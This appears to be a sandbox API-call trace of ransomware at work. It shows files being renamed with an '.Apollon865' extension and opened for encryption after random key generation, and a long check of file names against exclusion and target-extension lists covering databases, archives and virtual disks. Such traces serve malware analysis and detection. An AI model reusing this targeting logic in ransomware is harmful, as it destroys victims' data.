	[0088.376] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\a9cFiPSOaV5.wav.Apollon865") returned 91
	[0088.376] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\a9cFiPSOaV5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\a9cfipsoav5.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\a9cFiPSOaV5.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\a9cfipsoav5.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\a9cFiPSOaV5.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\a9cfipsoav5.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.378] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=33531) returned 1
	[0088.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.379] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.379] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.379] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.380] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8600, lpName=0x0) returned 0x15c
	[0088.380] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8600) returned 0x100000
	[0088.381] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.382] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.382] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.383] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.383] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.383] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.383] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.383] CloseHandle (hObject=0x15c) returned 1
	[0088.383] CloseHandle (hObject=0x9c) returned 1
	[0088.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.387] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x160b87c0, ftCreationTime.dwHighDateTime=0x1d4d563, ftLastAccessTime.dwLowDateTime=0xa72df6d0, ftLastAccessTime.dwHighDateTime=0x1d4cad1, ftLastWriteTime.dwLowDateTime=0xa72df6d0, ftLastWriteTime.dwHighDateTime=0x1d4cad1, nFileSizeHigh=0x0, nFileSizeLow=0xfcb5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EqjKTOWrn9vutmtK7x.mp3", cAlternateFileName="EQJKTO~1.MP3")) returned 1
	[0088.387] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.387] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2=".") returned 1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="..") returned 1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="windows") returned -1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="bootmgr") returned 1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="temp") returned -1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="pagefile.sys") returned -1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="boot") returned 1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="ids.txt") returned -1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="ntuser.dat") returned -1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="perflogs") returned -1
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2="MSBuild") returned -1
	[0088.388] lstrlenW (lpString="EqjKTOWrn9vutmtK7x.mp3") returned 22
	[0088.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\a9cFiPSOaV5.wav") returned 80
	[0088.388] lstrcpyW (in: lpString1=0x119e68a, lpString2="EqjKTOWrn9vutmtK7x.mp3" | out: lpString1="EqjKTOWrn9vutmtK7x.mp3") returned="EqjKTOWrn9vutmtK7x.mp3"
	[0088.388] lstrlenW (lpString="EqjKTOWrn9vutmtK7x.mp3") returned 22
	[0088.388] lstrlenW (lpString="Apollon865") returned 10
	[0088.388] lstrcmpiW (lpString1="tmtK7x.mp3", lpString2="Apollon865") returned 1
	[0088.388] lstrlenW (lpString=".dll") returned 4
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2=".dll") returned 1
	[0088.388] lstrlenW (lpString=".lnk") returned 4
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2=".lnk") returned 1
	[0088.388] lstrlenW (lpString=".ini") returned 4
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2=".ini") returned 1
	[0088.388] lstrlenW (lpString=".sys") returned 4
	[0088.388] lstrcmpiW (lpString1="EqjKTOWrn9vutmtK7x.mp3", lpString2=".sys") returned 1
	[0088.388] lstrlenW (lpString="EqjKTOWrn9vutmtK7x.mp3") returned 22
	[0088.388] lstrlenW (lpString="bak") returned 3
	[0088.389] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0088.389] lstrlenW (lpString="ba_") returned 3
	[0088.389] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0088.389] lstrlenW (lpString="dbb") returned 3
	[0088.389] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0088.389] lstrlenW (lpString="vmdk") returned 4
	[0088.389] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0088.389] lstrlenW (lpString="rar") returned 3
	[0088.389] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0088.389] lstrlenW (lpString="zip") returned 3
	[0088.389] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0088.389] lstrlenW (lpString="tgz") returned 3
	[0088.389] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0088.389] lstrlenW (lpString="vbox") returned 4
	[0088.389] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0088.389] lstrlenW (lpString="vdi") returned 3
	[0088.389] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0088.389] lstrlenW (lpString="vhd") returned 3
	[0088.389] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0088.389] lstrlenW (lpString="vhdx") returned 4
	[0088.389] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0088.389] lstrlenW (lpString="avhd") returned 4
	[0088.389] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0088.389] lstrlenW (lpString="db") returned 2
	[0088.389] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0088.389] lstrlenW (lpString="db2") returned 3
	[0088.390] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0088.390] lstrlenW (lpString="db3") returned 3
	[0088.390] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0088.390] lstrlenW (lpString="dbf") returned 3
	[0088.390] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0088.390] lstrlenW (lpString="mdf") returned 3
	[0088.390] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0088.390] lstrlenW (lpString="mdb") returned 3
	[0088.390] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0088.390] lstrlenW (lpString="sql") returned 3
	[0088.390] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0088.390] lstrlenW (lpString="sqlite") returned 6
	[0088.390] lstrcmpiW (lpString1="7x.mp3", lpString2="sqlite") returned -1
	[0088.390] lstrlenW (lpString="sqlite3") returned 7
	[0088.390] lstrcmpiW (lpString1="K7x.mp3", lpString2="sqlite3") returned -1
	[0088.390] lstrlenW (lpString="sqlitedb") returned 8
	[0088.390] lstrcmpiW (lpString1="tK7x.mp3", lpString2="sqlitedb") returned 1
	[0088.390] lstrlenW (lpString="xml") returned 3
	[0088.390] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0088.390] lstrlenW (lpString="$er") returned 3
	[0088.390] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0088.390] lstrlenW (lpString="4dd") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0088.391] lstrlenW (lpString="4dl") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0088.391] lstrlenW (lpString="^^^") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0088.391] lstrlenW (lpString="abs") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0088.391] lstrlenW (lpString="abx") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0088.391] lstrlenW (lpString="accdb") returned 5
	[0088.391] lstrcmpiW (lpString1="x.mp3", lpString2="accdb") returned 1
	[0088.391] lstrlenW (lpString="accdc") returned 5
	[0088.391] lstrcmpiW (lpString1="x.mp3", lpString2="accdc") returned 1
	[0088.391] lstrlenW (lpString="accde") returned 5
	[0088.391] lstrcmpiW (lpString1="x.mp3", lpString2="accde") returned 1
	[0088.391] lstrlenW (lpString="accdr") returned 5
	[0088.391] lstrcmpiW (lpString1="x.mp3", lpString2="accdr") returned 1
	[0088.391] lstrlenW (lpString="accdt") returned 5
	[0088.391] lstrcmpiW (lpString1="x.mp3", lpString2="accdt") returned 1
	[0088.391] lstrlenW (lpString="accdw") returned 5
	[0088.391] lstrcmpiW (lpString1="x.mp3", lpString2="accdw") returned 1
	[0088.391] lstrlenW (lpString="accft") returned 5
	[0088.391] lstrcmpiW (lpString1="x.mp3", lpString2="accft") returned 1
	[0088.391] lstrlenW (lpString="adb") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.391] lstrlenW (lpString="adb") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.391] lstrlenW (lpString="ade") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0088.391] lstrlenW (lpString="adf") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0088.391] lstrlenW (lpString="adn") returned 3
	[0088.391] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0088.391] lstrlenW (lpString="adp") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0088.392] lstrlenW (lpString="alf") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0088.392] lstrlenW (lpString="ask") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0088.392] lstrlenW (lpString="btr") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0088.392] lstrlenW (lpString="cat") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0088.392] lstrlenW (lpString="cdb") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0088.392] lstrlenW (lpString="ckp") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0088.392] lstrlenW (lpString="cma") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0088.392] lstrlenW (lpString="cpd") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0088.392] lstrlenW (lpString="dacpac") returned 6
	[0088.392] lstrcmpiW (lpString1="7x.mp3", lpString2="dacpac") returned -1
	[0088.392] lstrlenW (lpString="dad") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0088.392] lstrlenW (lpString="dadiagrams") returned 10
	[0088.392] lstrcmpiW (lpString1="tmtK7x.mp3", lpString2="dadiagrams") returned 1
	[0088.392] lstrlenW (lpString="daschema") returned 8
	[0088.392] lstrcmpiW (lpString1="tK7x.mp3", lpString2="daschema") returned 1
	[0088.392] lstrlenW (lpString="db-journal") returned 10
	[0088.392] lstrcmpiW (lpString1="tmtK7x.mp3", lpString2="db-journal") returned 1
	[0088.392] lstrlenW (lpString="db-shm") returned 6
	[0088.392] lstrcmpiW (lpString1="7x.mp3", lpString2="db-shm") returned -1
	[0088.392] lstrlenW (lpString="db-wal") returned 6
	[0088.392] lstrcmpiW (lpString1="7x.mp3", lpString2="db-wal") returned -1
	[0088.392] lstrlenW (lpString="dbc") returned 3
	[0088.392] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0088.392] lstrlenW (lpString="dbs") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0088.393] lstrlenW (lpString="dbt") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0088.393] lstrlenW (lpString="dbv") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0088.393] lstrlenW (lpString="dbx") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0088.393] lstrlenW (lpString="dcb") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0088.393] lstrlenW (lpString="dct") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0088.393] lstrlenW (lpString="dcx") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0088.393] lstrlenW (lpString="ddl") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0088.393] lstrlenW (lpString="dlis") returned 4
	[0088.393] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0088.393] lstrlenW (lpString="dp1") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0088.393] lstrlenW (lpString="dqy") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0088.393] lstrlenW (lpString="dsk") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0088.393] lstrlenW (lpString="dsn") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0088.393] lstrlenW (lpString="dtsx") returned 4
	[0088.393] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0088.393] lstrlenW (lpString="dxl") returned 3
	[0088.393] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0088.393] lstrlenW (lpString="eco") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0088.394] lstrlenW (lpString="ecx") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0088.394] lstrlenW (lpString="edb") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0088.394] lstrlenW (lpString="epim") returned 4
	[0088.394] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0088.394] lstrlenW (lpString="fcd") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0088.394] lstrlenW (lpString="fdb") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0088.394] lstrlenW (lpString="fic") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0088.394] lstrlenW (lpString="flexolibrary") returned 12
	[0088.394] lstrcmpiW (lpString1="vutmtK7x.mp3", lpString2="flexolibrary") returned 1
	[0088.394] lstrlenW (lpString="fm5") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0088.394] lstrlenW (lpString="fmp") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0088.394] lstrlenW (lpString="fmp12") returned 5
	[0088.394] lstrcmpiW (lpString1="x.mp3", lpString2="fmp12") returned 1
	[0088.394] lstrlenW (lpString="fmpsl") returned 5
	[0088.394] lstrcmpiW (lpString1="x.mp3", lpString2="fmpsl") returned 1
	[0088.394] lstrlenW (lpString="fol") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0088.394] lstrlenW (lpString="fp3") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0088.394] lstrlenW (lpString="fp4") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0088.394] lstrlenW (lpString="fp5") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0088.394] lstrlenW (lpString="fp7") returned 3
	[0088.394] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0088.394] lstrlenW (lpString="fpt") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0088.395] lstrlenW (lpString="frm") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0088.395] lstrlenW (lpString="gdb") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.395] lstrlenW (lpString="gdb") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.395] lstrlenW (lpString="grdb") returned 4
	[0088.395] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0088.395] lstrlenW (lpString="gwi") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0088.395] lstrlenW (lpString="hdb") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0088.395] lstrlenW (lpString="his") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0088.395] lstrlenW (lpString="ib") returned 2
	[0088.395] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0088.395] lstrlenW (lpString="idb") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0088.395] lstrlenW (lpString="ihx") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0088.395] lstrlenW (lpString="itdb") returned 4
	[0088.395] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0088.395] lstrlenW (lpString="itw") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0088.395] lstrlenW (lpString="jet") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0088.395] lstrlenW (lpString="jtx") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0088.395] lstrlenW (lpString="kdb") returned 3
	[0088.395] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0088.395] lstrlenW (lpString="kexi") returned 4
	[0088.395] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0088.395] lstrlenW (lpString="kexic") returned 5
	[0088.396] lstrcmpiW (lpString1="x.mp3", lpString2="kexic") returned 1
	[0088.396] lstrlenW (lpString="kexis") returned 5
	[0088.396] lstrcmpiW (lpString1="x.mp3", lpString2="kexis") returned 1
	[0088.396] lstrlenW (lpString="lgc") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0088.396] lstrlenW (lpString="lwx") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0088.396] lstrlenW (lpString="maf") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0088.396] lstrlenW (lpString="maq") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0088.396] lstrlenW (lpString="mar") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0088.396] lstrlenW (lpString="marshal") returned 7
	[0088.396] lstrcmpiW (lpString1="K7x.mp3", lpString2="marshal") returned -1
	[0088.396] lstrlenW (lpString="mas") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0088.396] lstrlenW (lpString="mav") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0088.396] lstrlenW (lpString="maw") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0088.396] lstrlenW (lpString="mdbhtml") returned 7
	[0088.396] lstrcmpiW (lpString1="K7x.mp3", lpString2="mdbhtml") returned -1
	[0088.396] lstrlenW (lpString="mdn") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0088.396] lstrlenW (lpString="mdt") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0088.396] lstrlenW (lpString="mfd") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0088.396] lstrlenW (lpString="mpd") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0088.396] lstrlenW (lpString="mrg") returned 3
	[0088.396] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0088.396] lstrlenW (lpString="mud") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0088.397] lstrlenW (lpString="mwb") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0088.397] lstrlenW (lpString="myd") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0088.397] lstrlenW (lpString="ndf") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0088.397] lstrlenW (lpString="nnt") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0088.397] lstrlenW (lpString="nrmlib") returned 6
	[0088.397] lstrcmpiW (lpString1="7x.mp3", lpString2="nrmlib") returned -1
	[0088.397] lstrlenW (lpString="ns2") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0088.397] lstrlenW (lpString="ns3") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0088.397] lstrlenW (lpString="ns4") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0088.397] lstrlenW (lpString="nsf") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0088.397] lstrlenW (lpString="nv") returned 2
	[0088.397] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0088.397] lstrlenW (lpString="nv2") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0088.397] lstrlenW (lpString="nwdb") returned 4
	[0088.397] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0088.397] lstrlenW (lpString="nyf") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0088.397] lstrlenW (lpString="odb") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.397] lstrlenW (lpString="odb") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.397] lstrlenW (lpString="oqy") returned 3
	[0088.397] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0088.397] lstrlenW (lpString="ora") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0088.398] lstrlenW (lpString="orx") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0088.398] lstrlenW (lpString="owc") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0088.398] lstrlenW (lpString="p96") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0088.398] lstrlenW (lpString="p97") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0088.398] lstrlenW (lpString="pan") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0088.398] lstrlenW (lpString="pdb") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0088.398] lstrlenW (lpString="pdm") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0088.398] lstrlenW (lpString="pnz") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0088.398] lstrlenW (lpString="qry") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0088.398] lstrlenW (lpString="qvd") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0088.398] lstrlenW (lpString="rbf") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0088.398] lstrlenW (lpString="rctd") returned 4
	[0088.398] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0088.398] lstrlenW (lpString="rod") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0088.398] lstrlenW (lpString="rodx") returned 4
	[0088.398] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0088.398] lstrlenW (lpString="rpd") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0088.398] lstrlenW (lpString="rsd") returned 3
	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0088.398] lstrlenW (lpString="sas7bdat") returned 8
	[0088.398] lstrcmpiW (lpString1="tK7x.mp3", lpString2="sas7bdat") returned 1
	[0088.398] lstrlenW (lpString="sbf") returned 3
